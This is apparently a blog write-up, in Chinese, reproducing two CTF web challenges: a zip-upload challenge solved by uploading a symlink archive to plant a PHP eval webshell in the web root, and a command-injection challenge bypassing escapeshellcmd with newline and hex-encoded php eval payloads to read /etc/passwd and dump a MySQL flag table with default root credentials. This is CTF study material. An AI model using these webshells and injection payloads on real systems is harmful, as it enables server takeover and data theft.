当前位置: 首页 > news >正文

2023、2024国赛web复现wp

2023

Unzip

类型:任意文件上传漏洞

主要知识点:软链接

随便上传一个一句话木马文件,得到一串php代码

根据代码上传zip文件发现进入后还是此页面

代码审计:

 <?php
error_reporting(0);
highlight_file(__FILE__);$finfo = finfo_open(FILEINFO_MIME_TYPE);
#创建一个新的文件资源用来确定文件的MIME类型
if (finfo_file($finfo, $_FILES["file"]["tmp_name"]) === 'application/zip'){exec('cd /tmp && unzip -o ' . $_FILES["file"]["tmp_name"]);
};
#上传的代码如果是MIME类型为application/zip的文件,将被解压到/tmp目录
#unzip -o:不必先询问用户,unzip执行后覆盖原有的文件;//only this! 

上传的文件被解压到/tmp目录并且我们发现代码中没有include和require说明不能执行文件里的代码

扩展:

include:当使用Include指令包含文件时,如果文件不存在或者有语法错误,PHP将生成一个警告(Warning)级别的错误,并且脚本将继续执行。

require:require也是用于包含文件。但是,如果文件不存在或者有语法错误,PHP将生成一个致命错误(Fatal Error),并且脚本执行会立即停止。

因此要想执行文件的代码我们就不能将文件放入/tmp目录,此时就需要用到软链接将文件放入任意目录下从而执行文件中的一句话木马

软链接:

软链接(Symbolic Link),也称为符号链接,是包含了源文件位置信息的特殊文件,用Linux中的命令执行。它的作用是间接指向一个文件或目录,也就是为文件在另一个地方建立一个同步的链接。如果软链接的源文件被删除或移动了,软链接就打不开了。

优点:

  • 软链接可以跨越不同的文件系统,因为它们只存储了路径信息,而不依赖于inode号。
  • 软链接可以用于目录,因为它们不会导致目录结构的混乱和循环引用。
  • 软链接可以反映原文件的变化,例如修改时间和权限等。

使用场景:

  • 当需要为不同位置或不同文件系统的文件或目录创建快捷方式时,可以使用软链接。
  • 当需要创建动态的文件或目录关联时,可以使用软链接。
  • 当需要保留原文件的属性和变化时,可以使用软链接。

创建一个指向/var/www/html目录的软链接(html目录下是web环境)

ln -s /var/www/html/ link

#为/var/www/html目录创建一个软链接link

压缩软链接

zip --symlinks link1.zip link

#将软链接link压缩为link1.zip文件

创建一个link目录

rm link

#防止系统中有link目录,造成冲突

mkdir link

#创建link目录

进入link目录,放入一个一句话木马文件shell.php

退出link目录,将link目录里的文件和目录本身全部压缩为link2.zip

上面由于放在用户目录里比较不直观将其放在一个文件夹中(这一步没有实际作用仅展示创建结果,同时也是方便放到windows界面)

先传上link1.zip再传上link2.zip(一定要先1后2),然后访问shell.php发现成功执行一句话木马

因此我们将一句话木马改为<?php eval($_POST[shell]);?>

上传后

接下去用命令执行或者用蚁剑连接

得到flag

2024

simple_php

代码审计:

escapeshellcmd()函数会转义可能用于欺骗shell执行任意命令的任何字符。正则匹配绕过了一堆字符。POST请求传入了一个参数cmd进行system()命令的执行。

思路一:

尝试用%0a进行绕过

用bp抓包

l%0as /

发现绕过成功,但没发现疑似flag的文件,根据经验用户的必要信息一般会放在/etc/passwd中(可能会有flag)

补充:

/etc/passwd保存了所有用户的用于读取的必要信息,包括用户的①名称②登录口令情况③用户ID④所属组ID⑤用户的全称等其它详细信息⑥用户的home目录⑦用户的默认登录shell。

扩展:

在早期,加密的密码的确是存在/etc/passwd文件中的,后面为了安全性考虑。将加密的密码文件存在了/etc/shadow(影子口令文件)中了。

 进入/etc/passwd查看

c%0aat /etc/passwd

发现还是没有flag但是发现了一个mysql用户,flag可能在数据库中

 思路二:

直接用paste命令或rev命令

paste /etc/passwd

#paste命令可以将每个文件的行以列的形式加以合并并输出。

rev /etc/passwd

#rev命令可以将文件中的内容以逆序的方式显示出来。

根据经验会直接尝试查看/etc/passwd这个目录有没有泄露

查看数据库(数据库默认信息:账号:root —— 密码:root,管理员账号需要自定义。)

执行shell命令

php -r eval(echo `mysql -u root -p'root' -e 'show databases;'`;);

#php -r:在PHP中,-r命令行选项允许你直接从命令行执行PHP代码,而不需要将代码写入一个文件。

由于escapeshellcmd()函数会转义可能用于欺骗shell执行任意命令的任何字符所以我们将shell命令转化为hax值(用base64不可行)

构造payload:

php -r eval(hex2bin(substr(_6563686f20606d7973716c202d7520726f6f74202d7027726f6f742720

2d65202773686f77206461746162617365733b27603b,1)));

#hex2bin():将16进制转化为ASCII

查看PHP_CMS数据库

echo `mysql -u root -p'root' -e 'use PHP_CMS;show tables;'`;

#use PHP_CMS:sql语句使用PHP_CMS数据库

构造payload:

cmd=php -r eval(hex2bin(substr(_6563686f20606d7973716c202d7520726f6f74202d7027726f6f742720

2d652027757365205048505f434d533b73686f77207461626c65733b27603b,1)));

发现可能有flag的表,查看F1ag_Se3Re7

echo `mysql -u root -p'root' -e 'use PHP_CMS;show tables;select * from F1ag_Se3Re7;'`;

构造payload:

cmd=php -r eval(hex2bin(substr(_6563686f20606d7973716c202d7520726f6f74202d7027726f6f742720

2d652027757365205048505f434d533b73686f77207461626c65733b73656c656374202a20

66726f6d20463161675f5365335265373b27603b,1)));

相关文章:

2023、2024国赛web复现wp

2023 Unzip 类型&#xff1a;任意文件上传漏洞 主要知识点&#xff1a;软链接 随便上传一个一句话木马文件&#xff0c;得到一串php代码 根据代码上传zip文件发现进入后还是此页面 代码审计&#xff1a; <?php error_reporting(0); highlight_file(__FILE__);$finfo fin…...

day34 贪心算法 455.分发饼干 376. 摆动序列

贪心算法理论基础 贪心的本质是选择每一阶段的局部最优&#xff0c;从而达到全局最优。 贪心一般解题步骤&#xff08;贪心无套路&#xff09;&#xff1a; 将问题分解为若干个子问题找出适合的贪心策略求解每一个子问题的最优解将局部最优解堆叠成全局最优解 455.分发饼干 …...

养老院管理系统基于springboot的养老院管理系统java项目

文章目录 养老院管理系统一、项目演示二、项目介绍三、系统部分功能截图四、部分代码展示五、底部获取项目源码&#xff08;9.9&#xffe5;带走&#xff09; 养老院管理系统 一、项目演示 养老院管理系统 二、项目介绍 基于springboot的养老院管理系统 角色&#xff1a;超级…...

跳台阶扩展问题

题目链接 f(1) 1f(2) 1 1 2f(3) 1 2 1 4f(4) 1 2 4 1 8 所以 f(n) 2 n − 1 ^{n-1} n−1 import java.util.Scanner;public class Solution {public int jumpFloorII(int target) {return 1 << (target - 1);} }...

超清高帧,成像升级 | SWIR短波红外相机500万像素992芯片

博图光电5MP短波红外相机&#xff0c;搭载了索尼IMX992 SenSWIR传感器&#xff0c;支持5.2MP分辨率&#xff0c;适合探测波长在400nm-1700nm波段的可见光和短波红外光&#xff0c;有效面积和透光率得到提升&#xff0c;内置TEC制冷片&#xff0c;实现了像素尺寸和图像均匀性方面…...

攻击渗透思考题

1. windows登录的明文密码&#xff0c;存储过程是怎么样的&#xff0c;密文存在哪个文件下&#xff0c;该文件是否可以打开&#xff0c;并且查看到密文 在Windows操作系统中&#xff0c;登录时输入的明文密码不会以明文形式存储在系统中。相反&#xff0c;Windows使用一种称为“…...

Flutter 中的 Opacity 小部件:全面指南

Flutter 中的 Opacity 小部件&#xff1a;全面指南 在Flutter中&#xff0c;动画和视觉效果是提升用户体验的重要手段。Opacity小部件允许你改变子组件的透明度&#xff0c;从而实现淡入、淡出或其它透明度相关的动画效果。本文将提供Opacity的全面指南&#xff0c;帮助你了解…...

【介绍下如何在SQL中添加数据】

&#x1f3a5;博主&#xff1a;程序员不想YY啊 &#x1f4ab;CSDN优质创作者&#xff0c;CSDN实力新星&#xff0c;CSDN博客专家 &#x1f917;点赞&#x1f388;收藏⭐再看&#x1f4ab;养成习惯 ✨希望本文对您有所裨益&#xff0c;如有不足之处&#xff0c;欢迎在评论区提出…...

【Linux学习】深入了解Linux中进程状态及其转换

文章目录 进程状态进程排队进程的状态&#xff08;运行&#xff0c;阻塞&#xff0c;挂起&#xff09;进程的七个状态 孤儿进程 进程状态 进程 task_struct 可执行程序 进程不是一 直在运行的&#xff0c;可能在等待软硬件资源&#xff0c;比如scanf后&#xff0c;程序停止运…...

【Python设计模式11】建造者模式

建造者模式&#xff08;Builder Pattern&#xff09;是一种创建型设计模式&#xff0c;它将一个复杂对象的构建过程分离出来&#xff0c;使得同样的构建过程可以创建不同的表示。建造者模式通过使用多个简单的对象一步一步构建成一个复杂的对象。 建造者模式的结构 建造者模式…...

coredump文件生成配置

1.打开coredump文件生成开关 查看开关是否打开&#xff1a;ulimit -a 如果core file size 为0&#xff0c;则为关闭。 执行&#xff1a;ulimit -c 10240 将其coredump文件大小设置。 2.coredump文件保存位置&#xff1a; /proc/sys/kernel/core_pattern文件可以控制core文…...

jmeter线程组(下篇)

线程组 线程组作为JMeter测试计划的核心组件之一&#xff0c;对于模拟并发用户的行为至关重要。线程组元件是整个测试计划的入口&#xff0c;所有的取样器和控制器必须放置在线程组下。 可以将线程组视为一个虚拟用户池&#xff0c;其中每个线程可被理解为一个虚拟用户&#x…...

Stable Diffusion【写实模型】:逼真,逼真,超级逼真的国产超写实摄影大模型万享XL

今天和大家分享的是一个国产万享系列中使用量最高的大模型:万享XL_超写实摄影&#xff0c;顾名思义&#xff0c;该大模型主要是面向写实摄影&#xff0c;一方面生成的图片人物皮肤纹理细节超级逼真&#xff0c;另一方面对于光影效果的处理也非常到位。对于万享XL超写实摄影大模…...

Android 13 配置默认DN

需求&#xff1a; 如果存在用户配置的DNS服务器&#xff0c;则切面拦截运行商下发的DNS,替换为用户自己配置的DNS. 实现&#xff1a; 直接上代码&#xff1a; 1:TelephonyProperties 内新增属性保存用户设置的dns //QSSI.13/frameworks/base/telephony/java/com/android/in…...

系统开发与运行知识

系统开发与运行知识 导航 文章目录 系统开发与运行知识导航一、软件工程二、软件生命周期三、开发模型四、开发方法五、需求分析结构化分析 六、数据流图分层数据流图的画法设计注意事项 七、数据字典数据字典的内容 八、系统设计九、结构化设计常用工具十、面向对象十一、UML…...

算法训练 | 二叉树Part1 | 递归遍历、迭代遍历、统一迭代

目录 递归遍历 前序遍历 迭代遍历 前序遍历&#xff08;迭代法&#xff09; 中序遍历&#xff08;迭代法&#xff09; 后序遍历&#xff08;迭代法&#xff09; 统一迭代法 统一迭代 嵌入式学习分享个人主页&#xff1a;Orion嵌入式随想录 - 小红书 (xiaohongshu.com) …...

AcWing 2568:树链剖分 ← 线段树+DFS

【题目来源】https://www.acwing.com/problem/content/2570/【题目描述】 给定一棵树&#xff0c;树中包含 n 个节点&#xff08;编号 1∼n&#xff09;&#xff0c;其中第 i 个节点的权值为 ai。 初始时&#xff0c;1 号节点为树的根节点。 现在要对该树进行 m 次操作&#xf…...

PCIe协议之-DLLP详解

✨前言&#xff1a; &#x1f31f;数据链路层的功能 数据链路层将从物理层中获得报文&#xff0c; 并将其传递给事务层&#xff1b; 同时接收事务层的报文&#xff0c; 并将其转发到物理层; 核心的功能有以下三点 1.保证TLP在 PCIe 链路中的正确传递; 2.数据链路层使用了容错…...

Jmeter+prometheus+grafana性能测试

文章目录 Jmeterprometheusgrafana性能测试背景目标设计思路原理案例启发 Jmeterprometheusgrafana性能测试 背景 ​ 在现代社会中&#xff0c;人们对于应用程序的响应速度和性能体验提出了越来越高的要求。无论是电子商务网站、社交媒体平台还是企业级软件系统&#xff0c;都…...

Hololens 2 新建自定义按钮

官方链接地址 1、创建Cube 2、添加PressableButton脚本&#xff0c;并点击AddNearin… 3、把Cube拖入到MovingButtonVisuals变量中 4、点击NearInteractionTouchable组件&#xff08;这个组件是添加和上一个脚本绑定的&#xff0c;自动添加上来的&#xff09;上的Fix… 5、…...

Agent工程2026:从提示词堆砌到生产级智能体的完整跃迁路径

如果你今天还在用"给LLM加几个工具调用"来描述你的Agent&#xff0c;那我们需要认真谈谈了。 2026年的AI工程现实是&#xff1a;绝大多数Agent项目死在了从Demo到生产的路上。不是因为模型不够强&#xff0c;而是因为工程没跟上。本文会系统梳理Agent工程化的核心路…...

时间序列预测损失函数全解析:从MSE到分位数损失的选择指南

1. 项目概述&#xff1a;为什么时间序列预测的损失函数值得深究&#xff1f;做时间序列预测&#xff0c;无论是金融市场的股价波动、电商平台的销量起伏&#xff0c;还是工业设备的传感器读数&#xff0c;我们最终都要面对一个核心问题&#xff1a;如何衡量模型预测得好不好&am…...

告别VirtualBox的‘不是Host-Only适配器’错误:一个网络配置的深度修复指南

VirtualBox Host-Only网络故障全解析&#xff1a;从原理到实战修复 当你正准备启动VirtualBox中的开发环境虚拟机时&#xff0c;突然弹出的红色错误提示框让所有工作戛然而止——"Interface is not a Host-Only Adapter"。这个看似简单的网络适配器错误背后&#xf…...

基于遗传算法的VRPTW问题求解:从元胞数组编码到多约束优化

1. 遗传算法与VRPTW问题初探 第一次接触带时间窗的车辆路径问题&#xff08;VRPTW&#xff09;时&#xff0c;我被它复杂的约束条件弄得头晕眼花。想象一下你是一家物流公司的调度员&#xff0c;手上有7辆载重不同的货车&#xff0c;需要给16个客户送货。每个客户都有特定的需求…...

轴承‘健康体检’新思路:不用复杂公式,5步教你用CNN从振动信号中‘看’出故障先兆

轴承健康监测&#xff1a;用CNN像AI医生一样"听诊"振动信号 想象一下&#xff0c;医生通过听诊器捕捉心跳的微妙变化&#xff0c;就能预判潜在的健康风险。在工业设备的"健康管理"中&#xff0c;轴承的振动信号就像它的"心跳"&#xff0c;而卷积…...

别再死磕CNN了!用Python从零实现一个3层GCN,带你理解图数据怎么玩

从传统CNN到图卷积&#xff1a;用Python实战3层GCN的底层逻辑 当我们在处理社交网络中的用户关系、电商平台上的购买行为或是蛋白质分子结构时&#xff0c;数据的拓扑关系往往比像素网格复杂得多。传统的卷积神经网络&#xff08;CNN&#xff09;在规则网格上表现出色&#xff…...

迪文串口屏界面开发避坑指南:T5L_DGUS Tool变量地址设置与数据通信那些事儿

迪文串口屏界面开发避坑指南&#xff1a;T5L_DGUS Tool变量地址设置与数据通信实战解析 在工业控制、智能家居和物联网设备的人机交互界面开发中&#xff0c;迪文串口屏因其高性价比和易用性广受欢迎。然而&#xff0c;当开发者从基础界面制作进阶到实际数据通信时&#xff0c;…...

利用Taotoken模型广场为不同任务场景选择合适的大模型

&#x1f680; 告别海外账号与网络限制&#xff01;稳定直连全球优质大模型&#xff0c;限时半价接入中。 &#x1f449; 点击领取海量免费额度 利用Taotoken模型广场为不同任务场景选择合适的大模型 当你的项目需要处理多种类型的任务时&#xff0c;例如同时涉及内容创作、代…...

Excel数据导入实战:为缺失ID列批量生成标准UUID

1. 为什么需要为Excel数据批量生成UUID&#xff1f; 最近在处理一个数据迁移项目时&#xff0c;遇到了一个典型问题&#xff1a;从Navicat导出的Excel表格缺少主键列&#xff0c;导致后续数据导入时频频报错。这种情况在数据迁移、系统对接时特别常见。UUID&#xff08;通用唯…...

大学生会计师证书怎么考?2026年小白必看:从入门到进阶的考证通关指南

&#x1f44b; 嗨&#xff0c;亲爱的同学们&#xff01;如果你点开了这篇文章&#xff0c;我猜你现在可能正坐在图书馆的某个角落&#xff0c;对着满桌的教材发愁&#xff0c;或者是在寝室里刷着手机&#xff0c;看着网上铺天盖地的“会计劝退论”和“考证焦虑”瑟瑟发抖。别慌…...